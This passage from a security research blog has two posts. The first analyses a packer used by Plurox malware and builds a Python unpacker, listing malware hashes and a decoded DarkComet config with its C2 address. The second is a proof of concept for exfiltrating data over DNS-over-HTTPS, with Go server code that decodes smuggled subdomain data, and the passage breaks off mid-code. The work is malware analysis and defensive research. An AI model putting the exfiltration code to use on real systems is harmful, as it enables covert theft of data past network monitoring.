<span class="n">Python</span><span class="o">></span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="o">%</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span>
<span class="n">Python</span><span class="o">></span>
<span class="n">Python</span><span class="o">></span><span class="n">data</span>
<span class="err">�</span><span class="n">AZ</span><span class="err">�$</span><span class="mi">9</span><span class="err">���</span><span class="n">R</span><span class="err"></span><span class="mi">9</span><span class="err">�</span><span class="n">GetProcAddress</span>
<span class="n">Python</span><span class="o">></span><span class="n">data</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="p">[</span><span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'</span><span class="se">\x12\xf1\x0e\x03</span><span class="s">AZ</span><span class="se">\xf1</span><span class="s">$9</span><span class="se">\x99\xaf\xfa</span><span class="s">R</span><span class="se">\x03</span><span class="s">9</span><span class="se">\x98</span><span class="s">GetProcAddress'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'VirtualFree'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'UnmapViewOfFile'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'htonl'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'ntdll.dll'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'ws2_32.dll'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'ExitProcess'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'gethostbyname'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'LoadLibraryA'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'VirtualAlloc'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'User32.dll'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'RtlDecompressBuffer'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'WSAStartup'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'VirtualProtect'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'google-public-dns-b.google.com'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">''</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">''</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">'</span><span class="se">\x8f</span><span class="s">'</span><span class="p">),</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">b</span><span class="s">',</span><span class="se">\xe1</span><span class="s">T</span><span class="se">\r\x08\x08\xfb\xfb\xf7\xf7\xfb\xfb\xf7\xf7\xfb\xfb\xf7\xf7\xfb\xfb\xf7\xf7</span><span class="s">'</span><span class="p">)]</span>
</code></pre></div></div>
<p>This is our string block along with the domain that will be resolved, the function names and domain immediately make me think this is more related to a protection or crypter layer as opposed to directly associated with the underlying malware Plurox. Assumptions however are just things that need to be proven.</p>
<p>Continuing on with the code it will enumerate it’s own memory space looking for the start value ‘MZ’.</p>
<p><img src="/assets/plurox_packer/find_start_address_in_memory.png" alt="Find beginning of PE file in memory" title="Find beginning of PE file in memory" /></p>
<p>After finding that address it begins utilizing the bytes at the beginning of the decoded string block, turns out these values are headers used to identify two blocks of data that will be saved off.</p>
<p><img src="/assets/plurox_packer/find_data_blocks_by_8byte_chunks.png" alt="Find data blocks by 8byte chunks" title="Find data blocks by 8byte chunks" /></p>
<p>After saving off those chunks of data it will perform the resolution of the domain from the decoded strings.</p>
<p><img src="/assets/plurox_packer/resolve_domain_store_ip.png" alt="Resolve domain" title="Resolve domain" /></p>
<p>It will then use that resolved IP as the DWORD XOR key for the smaller layer that was previously saved off.</p>
<p><img src="/assets/plurox_packer/xor_decode_first_layer.png" alt="XOR decode first layer" title="XOR decode first layer" /></p>
<p>This layer is designed to rebuild the larger blob that was previously saved off and then XOR decoded and LZNT decompressed if needed. Unfortunately the values used to rebuild are not static, you will need the number of bytes to copy over and the number of bytes to skip. Pulling out these values is possible through a number of ways but probably the easiest is to simply regex them out of the decoded layer.</p>
<p><img src="/assets/plurox_packer/plurox_compare_edit.png" alt="Comparison of decoded layer2" title="Comparison of decoded layer2" /></p>
<p>So for creating an unpacker we need to do the following steps:</p>
<pre><code class="language-psuedocode">1. Load the PE file in memory mapped form
2. Get the OEP (entry point)
3. Find the encoded blob of strings
4. Find the two data blobs using the byte chunks from the decoded strings
5. Find the XOR key
6. Decode the second layer code
7. Get the value for bytes copied and bytes skipped
8. Rebuild the encoded payload using values from 7
9. Decode rebuilt payload
10. Check if compressed
11. Write to disk
</code></pre>
<p>Some of the pieces from above will be quickly glossed over because they are self explanatory, if these pieces are more technically advanced than you are ready for you can skip them by all means and just read the comments that way you can hopefully understand my thought process while I constructed the code which could be beneficial while learning.</p>
<p>For loading the PE file into memory and getting the OEP we will use pefile in python.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">fdata</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'rb'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="o">.</span><span class="n">PE</span><span class="p">(</span><span class="n">data</span><span class="o">=</span><span class="n">fdata</span><span class="p">)</span>
<span class="n">oep</span> <span class="o">=</span> <span class="n">pe</span><span class="o">.</span><span class="n">OPTIONAL_HEADER</span><span class="o">.</span><span class="n">AddressOfEntryPoint</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">False</span>
<span class="n">memmapped</span> <span class="o">=</span> <span class="n">pe</span><span class="o">.</span><span class="n">get_memory_mapped_image</span><span class="p">()</span>
</code></pre></div></div>
<p>At this point we want to try to limit our scope, the encoded blob of strings appears to normally be near the OEP so we can probably try to brute it out within a limited scope of bytes.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">data</span> <span class="o">=</span> <span class="n">memmapped</span><span class="p">[</span><span class="n">oep</span><span class="p">:</span><span class="n">oep</span><span class="o">+</span><span class="mh">0x1000</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">-</span><span class="mi">24</span><span class="p">):</span>
<span class="n">test_k</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">])</span>
<span class="n">test_v</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mh">0x100</span><span class="p">])</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">test_v</span><span class="p">)):</span>
<span class="n">test_v</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">^=</span> <span class="n">test_k</span><span class="p">[</span><span class="n">j</span><span class="o">%</span><span class="nb">len</span><span class="p">(</span><span class="n">test_k</span><span class="p">)]</span>
<span class="k">if</span> <span class="s">'Alloc'</span> <span class="ow">in</span> <span class="n">test_v</span> <span class="ow">or</span> <span class="s">'Process'</span> <span class="ow">in</span> <span class="n">test_v</span> <span class="ow">or</span> <span class="s">'Decompress'</span> <span class="ow">in</span> <span class="n">test_v</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Found it"</span><span class="p">)</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">break</span>
</code></pre></div></div>
<p>So we are looping through the first 0x1000 bytes after the OEP to try to find encoded string bytes. After finding the start we just need to XOR decode the chunk which is semi redundant because we just did it for our testing loop and then split up the strings. Technically we only need the first 16 bytes but I figured it’d be good to add in code that can quickly parse and dump the strings to look for the different domains being used.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="n">found</span> <span class="o">==</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">blob</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mh">0x100</span><span class="p">])</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">blob</span><span class="p">)):</span>
<span class="n">blob</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="o">%</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span>
<span class="k">if</span> <span class="s">'</span><span class="se">\x00\x00\x00</span><span class="s">'</span> <span class="ow">in</span> <span class="n">blob</span><span class="p">:</span>
<span class="n">conf</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">blob</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\x00\x00\x00</span><span class="s">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">conf</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">blob</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</code></pre></div></div>
<p>Next we will pull out the two blobs using the first 16 bytes from the decoded strings</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">off1</span> <span class="o">=</span> <span class="n">fdata</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">conf</span><span class="p">[</span><span class="mi">0</span><span class="p">][:</span><span class="mi">8</span><span class="p">])</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">fdata</span><span class="p">[</span><span class="n">off1</span><span class="o">+</span><span class="mi">8</span><span class="p">:]</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">conf</span><span class="p">[</span><span class="mi">0</span><span class="p">][:</span><span class="mi">8</span><span class="p">])</span>
<span class="n">blob1</span> <span class="o">=</span> <span class="n">fdata</span><span class="p">[</span><span class="n">off1</span><span class="o">+</span><span class="mi">8</span><span class="p">:</span><span class="n">off1</span><span class="o">+</span><span class="n">l</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span>
<span class="n">off2</span> <span class="o">=</span> <span class="n">fdata</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">conf</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">8</span><span class="p">:</span><span class="mi">16</span><span class="p">])</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">fdata</span><span class="p">[</span><span class="n">off2</span><span class="o">+</span><span class="mi">8</span><span class="p">:]</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">conf</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">8</span><span class="p">:</span><span class="mi">16</span><span class="p">])</span>
<span class="n">blob2</span> <span class="o">=</span> <span class="n">fdata</span><span class="p">[</span><span class="n">off2</span><span class="o">+</span><span class="mi">8</span><span class="p">:</span><span class="n">off2</span><span class="o">+</span><span class="n">l</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span>
</code></pre></div></div>
<p>Now we’re going to do something a little interesting, this is why I enjoy writing scripts like this also. After gathering enough samples and dumping enough layer2s we can start to see byte patterns emerge, now we could just resolve the domain and boom we have our XOR key but that’s no fun. So if you go back up to the comparison picture you’ll notice some overlap of bytes in the decoded layer2 but more importantly I noticed the 4 bytes after the first 3 bytes remain pretty static across many samples tested.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">known_val</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="s">'</span><span class="se">\x01\xc0\x6a\x04</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>
<p>So to get the XOR key we just need to XOR the known value with the encoded bytes in the same place and then fixup the key position because we went 3 bytes in instead of 4.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">blob1</span><span class="p">[</span><span class="mi">3</span><span class="p">:</span><span class="mi">7</span><span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)):</span>
<span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">known_val</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">key</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span><span class="o">+</span><span class="n">key</span><span class="p">[:</span><span class="mi">1</span><span class="p">]</span>
<span class="n">temp</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">blob1</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">temp</span><span class="p">)):</span>
<span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="o">%</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span>
</code></pre></div></div>
<p>Now we have our layer2 decoded code that we can regex out the values we need.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">matches</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s">'''</span><span class="se">\xb9</span><span class="s">.</span><span class="se">\x00\x00\x00\xf3\xa4\x83\xc6</span><span class="s">.</span><span class="se">\x83\xe8</span><span class="s">'''</span><span class="p">,</span> <span class="n">temp</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">matches</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="p">(</span><span class="n">dc</span><span class="p">,</span> <span class="n">chunk_length</span><span class="p">,</span> <span class="n">dc</span><span class="p">,</span> <span class="n">dc</span><span class="p">,</span> <span class="n">dc</span><span class="p">,</span> <span class="n">addval</span><span class="p">)</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack_from</span><span class="p">(</span><span class="s">'<BBIBHB'</span><span class="p">,</span><span class="n">matches</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">out</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">total_block</span> <span class="o">=</span> <span class="n">chunk_length</span> <span class="o">+</span> <span class="n">addval</span>
</code></pre></div></div>
<p>So we can now fixup our other blob of data by copying over the chunks.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">blob2</span><span class="p">):</span>
<span class="n">out</span> <span class="o">+=</span> <span class="n">blob2</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="n">chunk_length</span><span class="p">]</span>
<span class="n">i</span> <span class="o">+=</span> <span class="n">total_block</span>
<span class="n">out2</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
</code></pre></div></div>
<p>Then we just XOR using the same key and check if we need to decompress.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">out2</span><span class="p">)):</span>
<span class="n">out2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="o">%</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span>
<span class="k">if</span> <span class="s">'MZ'</span> <span class="o">!=</span> <span class="n">out2</span><span class="p">[:</span><span class="mi">2</span><span class="p">]:</span>
<span class="n">out3</span> <span class="o">=</span> <span class="n">lznt_p</span><span class="o">.</span><span class="n">decompress_data</span><span class="p">(</span><span class="n">out2</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">out3</span> <span class="o">=</span> <span class="n">out2</span>
<span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="s">'_embedded.bin'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">out3</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Unknown layer2!"</span><span class="p">)</span>
</code></pre></div></div>
<p>Writing public unpackers basically is doing QA or quality assurance for the guys writing the packers but sometimes it’s good to do to prove or disprove a theory such as the one I stated above about this layer being a packer layer versus related to Plurox. It’s also good because it can prove beneficial to aspiring malware researchers out there, it’s usually easier to learn through mimicry so hopefully the above is useful to someone out there.</p>
<p>Now after unpacking a few samples I noticed a few interesting things:</p>
<ul>
<li>There’s more than one domain used by this</li>
<li>This is indeed a packer used by more than just Plurox</li>
</ul>
<p>I only did a few samples but I found the following domains being leveraged:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>google-public-dns-b.google.com
google-public-dns-a.google.com
example.com
</code></pre></div></div>
<p>I also pretty quickly found a sample that unpacks to a DarkComet sample:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MD5 7e12e4b19e000e30385fc995db4fe837
SHA-1 2dacc210e01f380765c7b9fe0dcf7f650f98bbde
SHA-256 e0bdab9458543ac59ce6030e3b66dd503c2c35c04596eb3e9e30188223946155
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Printing Config to screen
[-] Key: CHANGEDATE Value: 0
[-] Key: COMBOPATH Value: 3
[-] Key: DIRATTRIB Value: 0
[-] Key: EDTDATE Value: 16/04/2007
[-] Key: EDTPATH Value: Soft\olp32.exe
[-] Key: FILEATTRIB Value: 0
[-] Key: FTPHOST Value:
[-] Key: FTPPASS Value:
[-] Key: FTPPORT Value:
[-] Key: FTPROOT Value:
[-] Key: FTPSIZE Value:
[-] Key: FTPUPLOADK Value:
[-] Key: FTPUSER Value:
[-] Key: FWB Value: 0
[-] Key: GENCODE Value: 8Ub1461JKvo2
[-] Key: INSTALL Value: 1
[-] Key: KEYNAME Value: OLP Software
[-] Key: MELT Value: 0
[-] Key: MUTEX Value: CMQCKTN
[-] Key: NETDATA Value: 185.146.157.143:1604
[-] Key: OFFLINEK Value: 1
[-] Key: PERSINST Value: 0
[-] Key: PWD Value:
[-] Key: SID Value: VM
[+] End of Config
</code></pre></div></div>
<p>Some other samples using the protection layer:</p>
<p>Azorult:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MD5 2cf6634a78c734876377d13f7cd4c178
SHA-1 d63616dd6e69218c709fffce76834406ab52e6f6
SHA-256 6e70a71063acdd9570fea8698d090d87e4767f80a643e121839b4449924f2d8c
</code></pre></div></div>
<p>Baldr:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MD5 21661041c0912c97cbc9f1e16e5f5d06
SHA-1 19117be8e15e08acba72a1d7c732bf2e87cb4992
SHA-256 f1ea3330bf0b5bf426328d41b0faae689366070b4013e92fe87cc1de55eba2c6
</code></pre></div></div>
<p>Clipboard crypto wallet replacer</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MD5 ea3a524f3375232661bbee54367d92ba
SHA-1 9a000e8d1b11c7d35af1f54c626e812b41ab0e64
SHA-256 bdde9b0ca484ca08e0572b846f2a7ba989d999898ce1c095d0b4b678993b8d28
</code></pre></div></div>
<p>References:</p>
<ol>
<li>https://github.com/erocarrera/pefile</li>
<li>https://github.com/google/rekall/blob/master/rekall-core/rekall/plugins/filesystems/lznt1.py</li>
<li>https://github.com/rapid7/metasploit-framework</li>
<li>https://github.com/kevthehermit/RATDecoders</li>
</ol>Intro Recently saw someone mentioning a sample of Plurox performing code flow obfuscation based on the result of a DNS request, kind of interesting and I have apparently lost the link to the person that originally mentioned the hash… so if you recognize it let me know and I’ll update this post.Research into data exfiltration using DOH2019-09-22T16:31:12+00:002019-09-22T16:31:12+00:00/exfiltration,/c2/2019/09/22/DOH-exfiltration<h1 id="intro">Intro</h1>
<p>Doing exfiltration over DNS isn’t a new concept but recently there’s been lots of people jumping on the DNS-over-HTTP(s)[<a href="https://github.com/curl/curl/wiki/DNS-over-HTTPS">3</a>] bandwagon, which adds an interesting new layer to an existing TTP. This blog post is simply an aim to prove it’s possibility.
We’re going to start with existing code using a DOH server and client written by Star Brilliant[<a href="https://github.com/m13253/dns-over-https">1</a>]. This server and client are setup in a way that makes for easy testing where they allow the traffic to passthrough.</p>
<h1 id="server">Server</h1>
<p>The relevant function in the server file is doDNSQuery which accepts a DNSRequest and then loops through the various upstreams to perform the DNS against. This would give us the ability to easily intercept, manipulate or otherwise inspect the requests that are sent. For a quick POC the idea I had was to add in a configuration value of a domain that we will look for, this means we will only look at decoding subdomains from specific requests and the rest will just passthrough as normal.</p>
<p>So we will add an element to the config structure which will tell the parser toml to look for and load the appropriate value in this case a value for our intercept domain.</p>
<div class="language-golang highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">InterceptDomain</span> <span class="kt">string</span> <span class="s">`toml:"intercept_domain"`</span>
</code></pre></div></div>
<p>So in our configuration we will have:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>intercept_domain = "google.com"
</code></pre></div></div>
<p>We will also need a function that can put back together the subdomain pieces, and if we want perform a decoding routine such as XOR.</p>
<div class="language-golang highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">decodeData</span><span class="p">(</span><span class="n">data</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">string</span> <span class="p">{</span>
<span class="c">//fmt.Println(data)</span>
<span class="n">elements</span> <span class="o">:=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="kt">string</span><span class="p">(</span><span class="sc">'.'</span><span class="p">))</span>
<span class="c">//elements = elements[:len(elements)-3]</span>
<span class="n">elements2</span> <span class="o">:=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Join</span><span class="p">(</span><span class="n">elements</span><span class="p">[</span><span class="o">:</span><span class="nb">len</span><span class="p">(</span><span class="n">elements</span><span class="p">)</span><span class="o">-</span><span class="m">3</span><span class="p">],</span> <span class="kt">string</span><span class="p">(</span><span class="s">""</span><span class="p">))</span>
<span class="n">blob</span><span class="p">,</span> <span class="n">_</span> <span class="o">:=</span> <span class="n">hex</span><span class="o">.</span><span class="n">DecodeString</span><span class="p">(</span><span class="n">elements2</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="o">:=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">blob</span><span class="p">);</span> <span class="n">i</span> <span class="o">+=</span> <span class="m">1</span> <span class="p">{</span>
<span class="n">blob</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="m">0xaa</span>
<span class="p">}</span>
<span class="k">return</span> <span class="kt">string</span><span class="p">(</span><span class="n">blob</span><span class="p">[</span><span class="o">:</span><span class="p">])</span>
<span class="p">}</span>
</code></pre></div></div>
<p>For interception we simply need to check if the request contains the target domain and if so keep a copy of the original host and overload the DNS question record with the target domain. This might seem silly but it prevents leaking our data to the upstream and also allows us to control every aspect of the answer to include overloading it if we so choose. It also muddies the water a bit when it comes to the fact that our fake subdomain resolves to the same IP as the real domain in the answer.</p>
<div class="language-golang highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="p">(</span><span class="n">s</span> <span class="o">*</span><span class="n">Server</span><span class="p">)</span> <span class="n">doDNSQuery</span><span class="p">(</span><span class="n">ctx</span> <span class="n">context</span><span class="o">.</span><span class="n">Context</span><span class="p">,</span> <span class="n">req</span> <span class="o">*</span><span class="n">DNSRequest</span><span class="p">)</span> <span class="p">(</span><span class="n">resp</span> <span class="o">*</span><span class="n">DNSRequest</span><span class="p">,</span> <span class="n">err</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
<span class="c">// TODO(m13253): Make ctx work. Waiting for a patch for ExchangeContext from miekg/dns.</span>
<span class="n">numServers</span> <span class="o">:=</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">conf</span><span class="o">.</span><span class="n">Upstream</span><span class="p">)</span>
<span class="c">//Here is the chance to hook into the request before relaying it forward</span>
<span class="c">//Need to just add code for checking for a configurable domain I think</span>
<span class="n">tgtDomain</span> <span class="o">:=</span> <span class="n">s</span><span class="o">.</span><span class="n">conf</span><span class="o">.</span><span class="n">InterceptDomain</span>
<span class="n">origHost</span> <span class="o">:=</span> <span class="n">req</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">Question</span><span class="p">[</span><span class="m">0</span><span class="p">]</span><span class="o">.</span><span class="n">Name</span>
<span class="k">if</span> <span class="n">strings</span><span class="o">.</span><span class="n">Contains</span><span class="p">(</span><span class="n">origHost</span><span class="p">,</span> <span class="n">tgtDomain</span><span class="p">)</span> <span class="p">{</span>
<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">decodeData</span><span class="p">(</span><span class="kt">string</span><span class="p">(</span><span class="n">origHost</span><span class="p">)))</span>
<span class="c">//After decoding the data you would do a passthrough on the root domain without the subdomain data</span>
<span class="c">//Overwrite with original host</span>
<span class="n">newHost</span> <span class="o">:=</span> <span class="n">retrieveHost</span><span class="p">(</span><span class="n">origHost</span><span class="p">)</span>
<span class="n">req</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">Question</span><span class="p">[</span><span class="m">0</span><span class="p">]</span><span class="o">.</span><span class="n">Name</span> <span class="o">=</span> <span class="n">dns</span><span class="o">.</span><span class="n">Fqdn</span><span class="p">(</span><span class="n">newHost</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Some simple code that just does a few checks and then if the original host contains the target domain we print out the decoded data and overwrite the question name with the root domain which in this case will be ‘google.com’.</p>
<p>The only thing left will simply be replacing the response data with the original host.</p>
<div class="language-golang highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="n">err</span> <span class="o">==</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">req</span><span class="o">.</span><span class="n">response</span><span class="o">.</span><span class="n">Answer</span><span class="p">[</span><span class="m">0</span><span class="p">]</span><span class="o">.</span><span class="n">Header</span><span class="p">()</span><span class="o">.</span><span class="n">Name</span> <span class="o">=</span> <span class="n">dns</span><span class="o">.</span><span class="n">Fqdn</span><span class="p">(</span><span class="n">origHost</span><span class="p">)</span>
<span class="n">req</span><span class="o">.</span><span class="n">response</span><span class="o">.</span><span class="n">Question</span><span class="p">[</span><span class="m">0</span><span class="p">]</span><span class="o">.</span><span class="n">Name</span> <span class="o">=</span> <span class="n">dns</span><span class="o">.</span><span class="n">Fqdn</span><span class="p">(</span><span class="n">origHost</span><span class="p">)</span>
<span class="c">//Can overwrite with whatever IP</span>
<span class="c">/*
rr := &dns.A{
Hdr: dns.RR_Header{Name: dns.Fqdn(origHost), Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0},
A: net.ParseIP("127.0.0.1"),
}
req.response.Answer = []dns.RR{rr}
*/</span>
<span class="c">//DEBUG</span>
